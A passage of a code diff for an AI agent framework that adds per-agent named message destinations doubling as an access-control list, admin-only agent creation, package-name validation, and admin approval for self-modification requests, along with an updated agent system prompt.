sendFile: McpToolDefinition = { writeMessageOut({ id, kind: 'chat', - platform_id: r.platform_id, - channel_type: r.channel_type, - thread_id: r.thread_id, + platform_id: routing.platform_id, + channel_type: routing.channel_type, + thread_id: null, content: JSON.stringify({ text: (args.text as string) || '', files: [filename] }), }); - log(`send_file: ${id} → ${filename}`); - return ok(`File sent (id: ${id}, filename: ${filename})`); + log(`send_file: ${id} → ${to} (${filename})`); + return ok(`File sent to ${to} (id: ${id}, filename: ${filename})`); }, }; export const editMessage: McpToolDefinition = { tool: { name: 'edit_message', - description: 'Edit a previously sent message.', + description: 'Edit a previously sent message. Targets the same destination the original message was sent to.', inputSchema: { type: 'object' as const, properties: { @@ -132,15 +151,18 @@ export const editMessage: McpToolDefinition = { const platformId = getMessageIdBySeq(seq); if (!platformId) return err(`Message #${seq} not found`); - const id = generateId(); - const r = routing(); + const routing = getRoutingBySeq(seq); + if (!routing || !routing.channel_type || !routing.platform_id) { + return err(`Cannot determine destination for message #${seq}`); + } + const id = generateId(); writeMessageOut({ id, kind: 'chat', - platform_id: r.platform_id, - channel_type: r.channel_type, - thread_id: r.thread_id, + platform_id: routing.platform_id, + channel_type: routing.channel_type, + thread_id: routing.thread_id, content: JSON.stringify({ operation: 'edit', messageId: platformId, text }), }); @@ -170,15 +192,18 @@ export const addReaction: McpToolDefinition = { const platformId = getMessageIdBySeq(seq); if (!platformId) return err(`Message #${seq} not found`); - const id = generateId(); - const r = routing(); + const routing = getRoutingBySeq(seq); + if (!routing || !routing.channel_type || !routing.platform_id) { + return err(`Cannot determine destination for message #${seq}`); + } + const id = generateId(); writeMessageOut({ id, kind: 'chat', - platform_id: r.platform_id, - channel_type: r.channel_type, - thread_id: r.thread_id, + platform_id: routing.platform_id, + channel_type: routing.channel_type, + thread_id: routing.thread_id, content: JSON.stringify({ operation: 'reaction', messageId: platformId, emoji }), }); diff --git a/container/agent-runner/src/mcp-tools/index.ts b/container/agent-runner/src/mcp-tools/index.ts index f98143d..b011628 100644 --- a/container/agent-runner/src/mcp-tools/index.ts +++ b/container/agent-runner/src/mcp-tools/index.ts @@ -9,6 +9,7 @@ import { Server } from '@modelcontextprotocol/sdk/server/index.js'; import { StdioServerTransport } from '@modelcontextprotocol/sdk/server/stdio.js'; import { CallToolRequestSchema, ListToolsRequestSchema } from '@modelcontextprotocol/sdk/types.js'; +import { loadDestinations } from '../destinations.js'; import type { McpToolDefinition } from './types.js'; import { coreTools } from './core.js'; import { schedulingTools } from './scheduling.js'; @@ -20,7 +21,23 @@ function log(msg: string): void { console.error(`[mcp-tools] ${msg}`); } -const allTools: McpToolDefinition[] = [...coreTools, ...schedulingTools, ...interactiveTools, ...agentTools, ...selfModTools]; +// Load the destination map — this process is spawned fresh for each container +// wake, so the map file is always fresh (written by the host before spawn). +loadDestinations(); + +// Only admin agents get the create_agent tool. Non-admins never see it in the +// listTools response; the host also re-checks permission on receive as defense +// in depth (see delivery.ts create_agent handler). +const isAdmin = process.env.NANOCLAW_IS_ADMIN === '1'; +const conditionalAgentTools = isAdmin ? agentTools : []; + +const allTools: McpToolDefinition[] = [ + ...coreTools, + ...schedulingTools, + ...interactiveTools, + ...conditionalAgentTools, + ...selfModTools, +]; const toolMap = new Map(); for (const t of allTools) { diff --git a/container/agent-runner/src/mcp-tools/self-mod.ts b/container/agent-runner/src/mcp-tools/self-mod.ts index 9a0ef18..0a0d8e3 100644 --- a/container/agent-runner/src/mcp-tools/self-mod.ts +++ b/container/agent-runner/src/mcp-tools/self-mod.ts @@ -1,11 +1,13 @@ /** * Self-modification MCP tools: install_packages, add_mcp_server, request_rebuild. * - * These tools request changes to the agent's container configuration. - * install_packages and request_rebuild require admin approval. - * add_mcp_server takes effect on next container restart without approval. + * All three are fire-and-forget — the tool writes a system action row and + * returns immediately. The host processes the request (including admin + * approval) and notifies the agent via a chat message when complete. + * + * Package names are sanitized here at the tool boundary AND re-validated on + * the host side (defense in depth). */ -import { findQuestionResponse, markCompleted } from '../db/messages-in.js'; import { writeMessageOut } from '../db/messages-out.js'; import type { McpToolDefinition } from './types.js'; @@ -25,37 +27,20 @@ function err(text: string) { return { content: [{ type: 'text' as const, text: `Error: ${text}` }], isError: true }; } -function sleep(ms: number): Promise { - return new Promise((resolve) => setTimeout(resolve, ms)); -} - -async function pollForResponse(requestId: string, timeoutMs: number) { - const deadline = Date.now() + timeoutMs; - while (Date.now() < deadline) { - const response = findQuestionResponse(requestId); - if (response) { - const parsed = JSON.parse(response.content); - markCompleted([response.id]); - if (parsed.status === 'success') { - return ok(JSON.stringify(parsed.result || 'Success')); - } - return err(parsed.result?.error || parsed.selectedOption || 'Request denied'); - } - await sleep(2000); - } - return err(`Request timed out after ${timeoutMs / 1000}s`); -} +const APT_RE = /^[a-z0-9][a-z0-9._+-]*$/; +const NPM_RE = /^(@[a-z0-9][a-z0-9._-]*\/)?[a-z0-9][a-z0-9._-]*$/; +const MAX_PACKAGES = 20; export const installPackages: McpToolDefinition = { tool: { name: 'install_packages', description: - 'Request installation of system (apt) or Node.js (npm) packages in the container. Requires admin approval. Takes effect after container rebuild.', + 'Request installation of apt or npm packages. Requires admin approval. Fire-and-forget: you will receive a notification when the request is approved or rejected. After approval, call request_rebuild to apply the changes.', inputSchema: { type: 'object' as const, properties: { - apt: { type: 'array', items: { type: 'string' }, description: 'apt packages to install' }, - npm: { type: 'array', items: { type: 'string' }, description: 'npm packages to install globally' }, + apt: { type: 'array', items: { type: 'string' }, description: 'apt packages to install (names only, no version specs or flags)' }, + npm: { type: 'array', items: { type: 'string' }, description: 'npm packages to install globally (names only, no version specs)' }, reason: { type: 'string', description: 'Why these packages are needed' }, }, }, @@ -64,6 +49,12 @@ export const installPackages: McpToolDefinition = { const apt = (args.apt as string[]) || []; const npm = (args.npm as string[]) || []; if (apt.length === 0 && npm.length === 0) return err('At least one apt or npm package is required'); + if (apt.length + npm.length > MAX_PACKAGES) return err(`Maximum ${MAX_PACKAGES} packages per request`); + + const invalidApt = apt.find((p) => !APT_RE.test(p)); + if (invalidApt) return err(`Invalid apt package name: "${invalidApt}". Only lowercase letters, digits, and ._+- allowed.`); + const invalidNpm = npm.find((p) => !NPM_RE.test(p)); + if (invalidNpm) return err(`Invalid npm package name: "${invalidNpm}". No version specs or shell characters.`); const requestId = generateId(); writeMessageOut({ @@ -71,7 +62,6 @@ export const installPackages: McpToolDefinition = { kind: 'system', content: JSON.stringify({ action: 'install_packages', - requestId, apt, npm, reason: (args.reason as string) || '', @@ -79,7 +69,7 @@ export const installPackages: McpToolDefinition = { }); log(`install_packages: ${requestId} → apt=[${apt.join(',')}] npm=[${npm.join(',')}]`); - return await pollForResponse(requestId, 300_000); + return ok(`Package install request submitted. You will be notified when admin approves or rejects.`); }, }; @@ -87,7 +77,7 @@ export const addMcpServer: McpToolDefinition = { tool: { name: 'add_mcp_server', description: - "Add an MCP server to this agent's configuration. Takes effect on next container restart (no rebuild needed, no approval required).", + "Request adding an MCP server to this agent's configuration. Requires admin approval. Fire-and-forget: you will be notified when approved/rejected. On approval, your container restarts with the new server.", inputSchema: { type: 'object' as const, properties: { @@ -110,7 +100,6 @@ export const addMcpServer: McpToolDefinition = { kind: 'system', content: JSON.stringify({ action: 'add_mcp_server', - requestId, name, command, args: (args.args as string[]) || [], @@ -119,7 +108,7 @@ export const addMcpServer: McpToolDefinition = { }); log(`add_mcp_server: ${requestId} → "${name}" (${command})`); - return await pollForResponse(requestId, 30_000); + return ok(`MCP server request submitted. You will be notified when admin approves or rejects.`); }, }; @@ -127,7 +116,7 @@ export const requestRebuild: McpToolDefinition = { tool: { name: 'request_rebuild', description: - 'Request a container rebuild to apply pending package installations. Requires admin approval. The current container will be stopped and restarted with the new image.', + 'Request a container rebuild to apply pending package installations. Requires admin approval. Fire-and-forget: you will be notified when approved/rejected. On approval, your container restarts with the new image on the next message.', inputSchema: { type: 'object' as const, properties: { @@ -142,13 +131,12 @@ export const requestRebuild: McpToolDefinition = { kind: 'system', content: JSON.stringify({ action: 'request_rebuild', - requestId, reason: (args.reason as string) || '', }), }); log(`request_rebuild: ${requestId}`); - return await pollForResponse(requestId, 300_000); + return ok(`Rebuild request submitted. You will be notified when admin approves or rejects.`); }, }; diff --git a/container/agent-runner/src/poll-loop.ts b/container/agent-runner/src/poll-loop.ts index 149083e..6b358de 100644 --- a/container/agent-runner/src/poll-loop.ts +++ b/container/agent-runner/src/poll-loop.ts @@ -1,3 +1,4 @@ +import { findByName } from './destinations.js'; import { getPendingMessages, markProcessing, markCompleted, type MessageInRow } from './db/messages-in.js'; import { writeMessageOut } from './db/messages-out.js'; import { touchHeartbeat, clearStaleProcessingAcks } from './db/connection.js'; @@ -143,9 +144,6 @@ export async function runPollLoop(config: PollLoopConfig): Promise { log(`Processing ${normalMessages.length} message(s), kinds: ${[...new Set(normalMessages.map((m) => m.kind))].join(',')}`); - // Set routing context as env vars for MCP tools - setRoutingEnv(routing, config.env); - const query = config.provider.query({ prompt, sessionId, @@ -247,9 +245,6 @@ async function processQuery(query: AgentQuery, routing: RoutingContext, config: log(`Pushing ${newMessages.length} follow-up message(s) into active query`); query.push(prompt); - const newRouting = extractRouting(newMessages); - setRoutingEnv(newRouting, config.env); - markCompleted(newIds); lastEventTime = Date.now(); // new input counts as activity } @@ -270,15 +265,7 @@ async function processQuery(query: AgentQuery, routing: RoutingContext, config: if (event.type === 'init') { querySessionId = event.sessionId; } else if (event.type === 'result' && event.text) { - writeMessageOut({ - id: generateId(), - in_reply_to: routing.inReplyTo, - kind: routing.channelType ? 'chat' : 'chat', - platform_id: routing.platformId, - channel_type: routing.channelType, - thread_id: routing.threadId, - content: JSON.stringify({ text: event.text }), - }); + dispatchResultText(event.text, routing); } } } finally { @@ -306,10 +293,66 @@ function handleEvent(event: ProviderEvent, _routing: RoutingContext): void { } } -function setRoutingEnv(routing: RoutingContext, env: Record): void { - env.NANOCLAW_PLATFORM_ID = routing.platformId ?? undefined; - env.NANOCLAW_CHANNEL_TYPE = routing.channelType ?? undefined; - env.NANOCLAW_THREAD_ID = routing.threadId ?? undefined; +/** + * Parse the agent's final text for ... blocks + * and dispatch each one to its resolved destination. Text outside of blocks + * (including ...) is scratchpad — logged but not sent. + * + * If the agent emits zero blocks AND non-empty text, log a warning: + * the agent produced output with no recipient. That's usually a bug in the + * agent — the system prompt tells it to wrap user-visible text in blocks. + */ +function dispatchResultText(text: string, routing: RoutingContext): void { + const MESSAGE_RE = /([\s\S]*?)<\/message>/g; + + let match: RegExpExecArray | null; + let sent = 0; + let lastIndex = 0; + const scratchpadParts: string[] = []; + + while ((match = MESSAGE_RE.exec(text)) !== null) { + if (match.index > lastIndex) { + scratchpadParts.push(text.slice(lastIndex, match.index)); + } + const toName = match[1]; + const body = match[2].trim(); + lastIndex = MESSAGE_RE.lastIndex; + + const dest = findByName(toName); + if (!dest) { + log(`Unknown destination in , dropping block`); + scratchpadParts.push(`[dropped: unknown destination "${toName}"] ${body}`); + continue; + } + + const platformId = dest.type === 'channel' ? dest.platformId! : dest.agentGroupId!; + const channelType = dest.type === 'channel' ? dest.channelType! : 'agent'; + writeMessageOut({ + id: generateId(), + in_reply_to: routing.inReplyTo, + kind: 'chat', + platform_id: platformId, + channel_type: channelType, + thread_id: null, + content: JSON.stringify({ text: body }), + }); + sent++; + } + if (lastIndex < text.length) { + scratchpadParts.push(text.slice(lastIndex)); + } + + const scratchpad = scratchpadParts + .join('') + .replace(/[\s\S]*?<\/internal>/g, '') + .trim(); + if (scratchpad) { + log(`[scratchpad] ${scratchpad.slice(0, 500)}${scratchpad.length > 500 ? '…' : ''}`); + } + + if (sent === 0 && text.trim()) { + log(`WARNING: agent output had no blocks — nothing was sent`); + } } function sleep(ms: number): Promise { diff --git a/groups/global/CLAUDE.md b/groups/global/CLAUDE.md index 13bf4a8..c95469e 100644 --- a/groups/global/CLAUDE.md +++ b/groups/global/CLAUDE.md @@ -14,13 +14,27 @@ You are Main, a personal assistant. You help with tasks, answer questions, and c ## Communication -Your output is sent to the user or group. Be concise — every message costs the reader's attention. +Be concise — every message costs the reader's attention. -Use `mcp__nanoclaw__send_message` to send messages mid-work (before your final output). Pace your updates to the length of the work: +### Named destinations -- **Short work (a few seconds, ≤2 quick tool calls):** Don't narrate. Just do it and report in your final output. No mid-work messages. -- **Longer work (many tool calls, web searches, installs, sub-agents):** Send a short acknowledgment right away ("On it — checking the logs now") so the user knows you got the message. Don't leave them waiting in silence. -- **Long-running work (many minutes, multi-step tasks):** Send periodic updates at natural milestones, and especially **before** slow operations like spinning up an explore sub-agent, downloading large files, or installing packages. "About to install ffmpeg — this'll take a minute" is better than the user wondering if you're stuck. +You don't send messages to a "current conversation" — every outbound message goes to an explicitly named destination. The list of destinations available to you is injected into your system prompt at the start of every turn. + +**To send a message**, wrap it in a `...` block. You can include multiple blocks in one response to send to multiple destinations. Text outside of `` blocks is scratchpad — logged but never sent anywhere. + +``` +On my way home, 15 minutes +``` + +Inbound messages are labeled with `from="name"` so you know which destination they came from and can reply by using that same name as `to=`. + +### Mid-turn updates + +Use the `mcp__nanoclaw__send_message` tool to send a message mid-work (before your final output) — it takes the same `to` destination name. Pace your updates to the length of the work: + +- **Short work (a few seconds, ≤2 quick tool calls):** Don't narrate. Just do it and put the result in your final `` block. +- **Longer work (many tool calls, web searches, installs, sub-agents):** Send a short acknowledgment right away ("On it — checking the logs now") via `send_message` so the user knows you got the message. +- **Long-running work (many minutes, multi-step tasks):** Send periodic updates at natural milestones, and especially **before** slow operations like spinning up an explore sub-agent, downloading large files, or installing packages. **Never narrate micro-steps.** "I'm going to read the file now… okay, I'm reading it… now I'm parsing it…" is noise. Updates should mark meaningful transitions, not every tool call. @@ -28,16 +42,14 @@ Use `mcp__nanoclaw__send_message` to send messages mid-work (before your final o ### Internal thoughts -If part of your output is internal reasoning rather than something for the user, wrap it in `` tags: +If part of your output is internal reasoning rather than something for the reader, wrap it in `` tags — or just leave it as plain text outside any `` block. Both are scratchpad. ``` Compiled all three reports, ready to summarize. -Here are the key findings from the research... +Here are the key findings from the research… ``` -Text inside `` tags is logged but not sent to the user. If you've already sent the key information via `send_message`, you can wrap the recap in `` to avoid sending it again. - ### Sub-agents and teammates When working as a sub-agent or teammate, only use `send_message` if instructed to by the main agent. diff --git a/setup/register.ts b/setup/register.ts index 8d018a4..e41f378 100644 --- a/setup/register.ts +++ b/setup/register.ts @@ -11,6 +11,11 @@ import { DATA_DIR } from '../src/config.js'; import { initDb } from '../src/db/connection.js'; import { runMigrations } from '../src/db/migrations/index.js'; import { createAgentGroup, getAgentGroupByFolder } from '../src/db/agent-groups.js'; +import { + createDestination, + getDestinationByName, + normalizeName, +} from '../src/db/agent-destinations.js'; import { createMessagingGroup, createMessagingGroupAgent, @@ -41,6 +46,8 @@ interface RegisterArgs { assistantName: string; /** Session mode: 'shared' (one session per channel) or 'per-thread' */ sessionMode: string; + /** Optional local name the agent uses for this channel (defaults to normalized messaging group name) */ + localName: string | null; } function parseArgs(args: string[]): RegisterArgs { @@ -54,6 +61,7 @@ function parseArgs(args: string[]): RegisterArgs { isMain: false, assistantName: 'Andy', sessionMode: 'shared', + localName: null, }; for (let i = 0; i < args.length; i++) { @@ -87,6 +95,9 @@ function parseArgs(args: string[]): RegisterArgs { case '--session-mode': result.sessionMode = args[++i] || 'shared'; break; + case '--local-name': + result.localName = args[++i] || null; + break; } } @@ -168,7 +179,7 @@ export async function run(args: string[]): Promise { log.info('Created messaging group', { id: mgId, channel: parsed.channel, platformId: parsed.platformId }); } - // 3. Wire agent to messaging group + // 3. Wire agent to messaging group + create destination row for the agent's map let newlyWired = false; const existing = getMessagingGroupAgentByPair(messagingGroup.id, agentGroup.id); if (!existing) { @@ -190,7 +201,29 @@ export async function run(args: string[]): Promise { priority: parsed.isMain ? 10 : 0, created_at: new Date().toISOString(), }); - log.info('Wired agent to messaging group', { mgaId, agentGroup: agentGroup.id, messagingGroup: messagingGroup.id }); + + // Create destination row so the agent can address this channel by name. + // Auto-suffix on collision within this agent's namespace. + const baseLocalName = normalizeName(parsed.localName || parsed.name); + let localName = baseLocalName; + let suffix = 2; + while (getDestinationByName(agentGroup.id, localName)) { + localName = `${baseLocalName}-${suffix}`; + suffix++; + } + createDestination({ + agent_group_id: agentGroup.id, + local_name: localName, + target_type: 'channel', + target_id: messagingGroup.id, + created_at: new Date().toISOString(), + }); + log.info('Wired agent to messaging group', { + mgaId, + agentGroup: agentGroup.id, + messagingGroup: messagingGroup.id, + localName, + }); } // 4. Send onboarding message — only on first wiring, not re-registration diff --git a/src/container-runner.ts b/src/container-runner.ts index 743b7ce..ac4d2cf 100644 --- a/src/container-runner.ts +++ b/src/container-runner.ts @@ -15,7 +15,13 @@ import { getAgentGroup } from './db/agent-groups.js'; import { getMessagingGroup } from './db/messaging-groups.js'; import { log } from './log.js'; import { validateAdditionalMounts } from './mount-security.js'; -import { markContainerIdle, markContainerRunning, markContainerStopped, sessionDir } from './session-manager.js'; +import { + markContainerIdle, + markContainerRunning, + markContainerStopped, + sessionDir, + writeDestinationsFile, +} from './session-manager.js'; import type { AgentGroup, Session } from './types.js'; const onecli = new OneCLI({ url: ONECLI_URL }); @@ -53,6 +59,9 @@ export async function wakeContainer(session: Session): Promise { return; } + // Refresh the destination map file so any admin changes take effect on wake + writeDestinationsFile(agentGroup.id, session.id); + const mounts = buildMounts(agentGroup, session); const containerName = `nanoclaw-v2-${agentGroup.folder}-${Date.now()}`; const agentIdentifier = agentGroup.is_admin ? undefined : agentGroup.folder.toLowerCase().replace(/_/g, '-'); @@ -235,6 +244,9 @@ async function buildContainerArgs( if (agentGroup.name) { args.push('-e', `NANOCLAW_ASSISTANT_NAME=${agentGroup.name}`); } + args.push('-e', `NANOCLAW_AGENT_GROUP_ID=${agentGroup.id}`); + args.push('-e', `NANOCLAW_AGENT_GROUP_NAME=${agentGroup.name}`); + args.push('-e', `NANOCLAW_IS_ADMIN=${agentGroup.is_admin ? '1' : '0'}`); // OneCLI gateway — injects HTTPS_PROXY + certs so container API calls // are routed through the agent vault for credential injection. diff --git a/src/db/agent-destinations.ts b/src/db/agent-destinations.ts new file mode 100644 index 0000000..2d319de --- /dev/null +++ b/src/db/agent-destinations.ts @@ -0,0 +1,74 @@ +/** + * Per-agent destination map + ACL. + * + * Each row means: agent `agent_group_id` is allowed to send messages to + * target (`target_type`, `target_id`), and refers to it locally as `local_name`. + * + * Names are local to each source agent — they exist only inside that agent's + * namespace. The host uses this table both for routing (resolve name → ID) + * and for permission checks (row exists ⇒ authorized). + */ +import type { AgentDestination } from '../types.js'; +import { getDb } from './connection.js'; + +export function createDestination(row: AgentDestination): void { + getDb() + .prepare( + `INSERT INTO agent_destinations (agent_group_id, local_name, target_type, target_id, created_at) + VALUES (@agent_group_id, @local_name, @target_type, @target_id, @created_at)`, + ) + .run(row); +} + +export function getDestinations(agentGroupId: string): AgentDestination[] { + return getDb() + .prepare('SELECT * FROM agent_destinations WHERE agent_group_id = ?') + .all(agentGroupId) as AgentDestination[]; +} + +export function getDestinationByName(agentGroupId: string, localName: string): AgentDestination | undefined { + return getDb() + .prepare('SELECT * FROM agent_destinations WHERE agent_group_id = ? AND local_name = ?') + .get(agentGroupId, localName) as AgentDestination | undefined; +} + +/** Reverse lookup: what does this agent call the given target? */ +export function getDestinationByTarget( + agentGroupId: string, + targetType: 'channel' | 'agent', + targetId: string, +): AgentDestination | undefined { + return getDb() + .prepare( + 'SELECT * FROM agent_destinations WHERE agent_group_id = ? AND target_type = ? AND target_id = ?', + ) + .get(agentGroupId, targetType, targetId) as AgentDestination | undefined; +} + +/** Permission check: can this agent send to this target? */ +export function hasDestination( + agentGroupId: string, + targetType: 'channel' | 'agent', + targetId: string, +): boolean { + const row = getDb() + .prepare( + 'SELECT 1 FROM agent_destinations WHERE agent_group_id = ? AND target_type = ? AND target_id = ? LIMIT 1', + ) + .get(agentGroupId, targetType, targetId); + return !!row; +} + +export function deleteDestination(agentGroupId: string, localName: string): void { + getDb().prepare('DELETE FROM agent_destinations WHERE agent_group_id = ? AND local_name = ?').run(agentGroupId, localName); +} + +/** Normalize a human-readable name into a lowercase, dash-separated identifier. */ +export function normalizeName(name: string): string { + return ( + name + .toLowerCase() + .replace(/[^a-z0-9]+/g, '-') + .replace(/^-+|-+$/g, '') || 'unnamed' + ); +} diff --git a/src/db/db-v2.test.ts b/src/db/db-v2.test.ts index 81cd68e..9fdbb40 100644 --- a/src/db/db-v2.test.ts +++ b/src/db/db-v2.test.ts @@ -62,7 +62,7 @@ describe('migrations', () => { const db = initTestDb(); runMigrations(db); const row = db.prepare('SELECT MAX(version) as v FROM schema_version').get() as { v: number }; - expect(row.v).toBe(3); + expect(row.v).toBe(4); }); }); diff --git a/src/db/migrations/004-agent-destinations.ts b/src/db/migrations/004-agent-destinations.ts new file mode 100644 index 0000000..503e97e --- /dev/null +++ b/src/db/migrations/004-agent-destinations.ts @@ -0,0 +1,81 @@ +import type Database from 'better-sqlite3'; + +import type { Migration } from './index.js'; + +/** + * Agent destinations: per-agent named map of allowed message targets. + * + * This table is BOTH the routing map and the ACL. A row exists iff the + * source agent is permitted to send to the target. No row = unauthorized. + * + * target_type: 'channel' references messaging_groups(id) + * target_type: 'agent' references agent_groups(id) + * + * Names are scoped per source agent — worker-1 may call the admin "parent" + * while admin calls the child "worker-1". The (agent_group_id, local_name) + * PK enforces uniqueness within a single agent's namespace only. + */ +export const migration004: Migration = { + version: 4, + name: 'agent-destinations', + up(db: Database.Database) { + db.exec(` + CREATE TABLE agent_destinations ( + agent_group_id TEXT NOT NULL REFERENCES agent_groups(id), + local_name TEXT NOT NULL, + target_type TEXT NOT NULL, + target_id TEXT NOT NULL, + created_at TEXT NOT NULL, + PRIMARY KEY (agent_group_id, local_name) + ); + CREATE INDEX idx_agent_dest_target ON agent_destinations(target_type, target_id); + `); + + // Backfill from existing messaging_group_agents wirings. + // For each wired (agent, messaging_group), create a destination row + // using the messaging group's name (normalized) as the local name. + // Collisions get a -2, -3 suffix within each agent's namespace. + const rows = db + .prepare( + `SELECT mga.agent_group_id, mga.messaging_group_id, mg.channel_type, mg.name + FROM messaging_group_agents mga + JOIN messaging_groups mg ON mg.id = mga.messaging_group_id`, + ) + .all() as Array<{ + agent_group_id: string; + messaging_group_id: string; + channel_type: string; + name: string | null; + }>; + + const takenByAgent = new Map>(); + const insert = db.prepare( + `INSERT INTO agent_destinations (agent_group_id, local_name, target_type, target_id, created_at) + VALUES (?, ?, 'channel', ?, ?)`, + ); + const now = new Date().toISOString(); + + for (const row of rows) { + const base = normalizeName(row.name || `${row.channel_type}-${row.messaging_group_id.slice(0, 8)}`); + const taken = takenByAgent.get(row.agent_group_id) ?? new Set(); + let localName = base; + let suffix = 2; + while (taken.has(localName)) { + localName = `${base}-${suffix}`; + suffix++; + } + taken.add(localName); + takenByAgent.set(row.agent_group_id, taken); + insert.run(row.agent_group_id, localName, row.messaging_group_id, now); + } + }, +}; + +function normalizeName(name: string): string { + return ( + name + .toLowerCase() + .replace(/[^a-z0-9]+/g, '-') + .replace(/^-+|-+$/g, '') || 'unnamed' + ); +} diff --git a/src/db/migrations/index.ts b/src/db/migrations/index.ts index 3a51c5f..c210359 100644 --- a/src/db/migrations/index.ts +++ b/src/db/migrations/index.ts @@ -4,6 +4,7 @@ import { log } from '../../log.js'; import { migration001 } from './001-initial.js'; import { migration002 } from './002-chat-sdk-state.js'; import { migration003 } from './003-pending-approvals.js'; +import { migration004 } from './004-agent-destinations.js'; export interface Migration { version: number; @@ -11,7 +12,7 @@ export interface Migration { up: (db: Database.Database) => void; } -const migrations: Migration[] = [migration001, migration002, migration003]; +const migrations: Migration[] = [migration001, migration002, migration003, migration004]; export function runMigrations(db: Database.Database): void { db.exec(` diff --git a/src/delivery.ts b/src/delivery.ts index 047d696..144d213 100644 --- a/src/delivery.ts +++ b/src/delivery.ts @@ -19,8 +19,20 @@ import { getSession, createPendingApproval, } from './db/sessions.js'; -import { getAgentGroup, getAdminAgentGroup, createAgentGroup, updateAgentGroup } from './db/agent-groups.js'; -import { getMessagingGroupsByAgentGroup } from './db/messaging-groups.js'; +import { + getAgentGroup, + getAdminAgentGroup, + createAgentGroup, + updateAgentGroup, + getAgentGroupByFolder, +} from './db/agent-groups.js'; +import { + createDestination, + getDestinationByName, + hasDestination, + normalizeName, +} from './db/agent-destinations.js'; +import { getMessagingGroupByPlatform, getMessagingGroupsByAgentGroup } from './db/messaging-groups.js'; import { log } from './log.js'; import { openInboundDb, @@ -62,6 +74,83 @@ export function setDeliveryAdapter(adapter: ChannelDeliveryAdapter): void { deliveryAdapter = adapter; } +/** + * Deliver a system notification to an agent as a regular chat message. + * Used for fire-and-forget responses from host actions (create_agent result, + * approval outcomes, etc.). The agent sees it as an inbound chat message + * with sender="system". + */ +function notifyAgent(session: Session, text: string): void { + writeSessionMessage(session.agent_group_id, session.id, { + id: `sys-${Date.now()}-${Math.random().toString(36).slice(2, 8)}`, + kind: 'chat', + timestamp: new Date().toISOString(), + platformId: session.agent_group_id, + channelType: 'agent', + threadId: null, + content: JSON.stringify({ text, sender: 'system', senderId: 'system' }), + }); + // Wake the container so it picks up the notification promptly + const fresh = getSession(session.id); + if (fresh) { + wakeContainer(fresh).catch((err) => log.error('Failed to wake container after notification', { err })); + } +} + +/** + * Send an approval request to the admin channel and record a pending_approval row. + * The admin's button click routes via the existing ncq: card infrastructure to + * handleApprovalResponse in index.ts, which completes the action. + */ +async function requestApproval( + session: Session, + agentName: string, + action: 'install_packages' | 'request_rebuild' | 'add_mcp_server', + payload: Record, + question: string, +): Promise { + const adminGroup = getAdminAgentGroup(); + const adminMGs = adminGroup ? getMessagingGroupsByAgentGroup(adminGroup.id) : []; + if (adminMGs.length === 0) { + notifyAgent(session, `${action} failed: no admin channel configured for approvals.`); + return; + } + const adminChannel = adminMGs[0]; + + const approvalId = `appr-${Date.now()}-${Math.random().toString(36).slice(2, 8)}`; + createPendingApproval({ + approval_id: approvalId, + session_id: session.id, + request_id: approvalId, // fire-and-forget: no separate request id to correlate + action, + payload: JSON.stringify(payload), + created_at: new Date().toISOString(), + }); + + if (deliveryAdapter) { + try { + await deliveryAdapter.deliver( + adminChannel.channel_type, + adminChannel.platform_id, + null, + 'chat-sdk', + JSON.stringify({ + type: 'ask_question', + questionId: approvalId, + question, + options: ['Approve', 'Reject'], + }), + ); + } catch (err) { + log.error('Failed to deliver approval card', { action, approvalId, err }); + notifyAgent(session, `${action} failed: could not deliver approval request to admin.`); + return; + } + } + + log.info('Approval requested', { action, approvalId, agentName }); +} + /** Show typing indicator on a channel. Called when a message is routed to the agent. */ export async function triggerTyping(channelType: string, platformId: string, threadId: string | null): Promise { try { @@ -227,12 +316,27 @@ async function deliverMessage( return; } - // Agent-to-agent — route to target session + // Agent-to-agent — route to target session (with permission check) if (msg.channel_type === 'agent') { await routeAgentMessage(msg, session); return; } + // Permission check: the source agent must have a destination row for this target. + // Defense in depth — the container already validates via its local map, but the + // host's central DB is the authoritative ACL. + if (msg.channel_type && msg.platform_id) { + const mg = getMessagingGroupByPlatform(msg.channel_type, msg.platform_id); + if (!mg || !hasDestination(session.agent_group_id, 'channel', mg.id)) { + log.warn('Unauthorized channel destination — dropping message', { + sourceAgentGroup: session.agent_group_id, + channelType: msg.channel_type, + platformId: msg.platform_id, + }); + return; + } + } + // Track pending questions for ask_user_question flow if (content.type === 'ask_question' && content.questionId) { createPendingQuestion({ @@ -293,7 +397,13 @@ async function deliverMessage( return platformMsgId; } -/** Route an agent-to-agent message to the target agent's session. */ +/** + * Route an agent-to-agent message to the target agent's session. + * + * Permission is enforced via agent_destinations — the source agent must have + * a row for the target. Content is copied verbatim; the target's formatter + * will look up the source agent in its own local map to display a name. + */ async function routeAgentMessage( msg: { id: string; platform_id: string | null; content: string }, sourceSession: Session, @@ -304,35 +414,29 @@ async function routeAgentMessage( return; } - const targetGroup = getAgentGroup(targetAgentGroupId); - if (!targetGroup) { + if (!hasDestination(sourceSession.agent_group_id, 'agent', targetAgentGroupId)) { + log.warn('Unauthorized agent-to-agent message — dropping', { + source: sourceSession.agent_group_id, + target: targetAgentGroupId, + }); + return; + } + + if (!getAgentGroup(targetAgentGroupId)) { log.warn('Target agent group not found', { id: msg.id, targetAgentGroupId }); return; } - const sourceGroup = getAgentGroup(sourceSession.agent_group_id); - const sourceAgentName = sourceGroup?.name || sourceSession.agent_group_id; - - // Find or create a session for the target agent const { session: targetSession } = resolveSession(targetAgentGroupId, null, null, 'agent-shared'); - // Enrich content with sender info - const content = JSON.parse(msg.content); - const enrichedContent = JSON.stringify({ - text: content.text, - sender: sourceAgentName, - senderId: sourceSession.agent_group_id, - }); - - const messageId = `agent-${Date.now()}-${Math.random().toString(36).slice(2, 8)}`; writeSessionMessage(targetAgentGroupId, targetSession.id, { - id: messageId, + id: `a2a-${Date.now()}-${Math.random().toString(36).slice(2, 8)}`, kind: 'chat', timestamp: new Date().toISOString(), platformId: sourceSession.agent_group_id, channelType: 'agent', threadId: null, - content: enrichedContent, + content: msg.content, }); log.info('Agent message routed', { @@ -341,10 +445,8 @@ async function routeAgentMessage( targetSession: targetSession.id, }); - const freshSession = getSession(targetSession.id); - if (freshSession) { - await wakeContainer(freshSession); - } + const fresh = getSession(targetSession.id); + if (fresh) await wakeContainer(fresh); } /** Ensure the delivered table has new columns (migration for existing sessions). */ @@ -436,205 +538,176 @@ async function handleSystemAction( case 'create_agent': { const requestId = content.requestId as string; const name = content.name as string; - let folder = - (content.folder as string) || - name - .toLowerCase() - .replace(/[^a-z0-9_-]/g, '_') - .replace(/_+/g, '_'); const instructions = content.instructions as string | null; - try { - // Avoid duplicate folders - const { 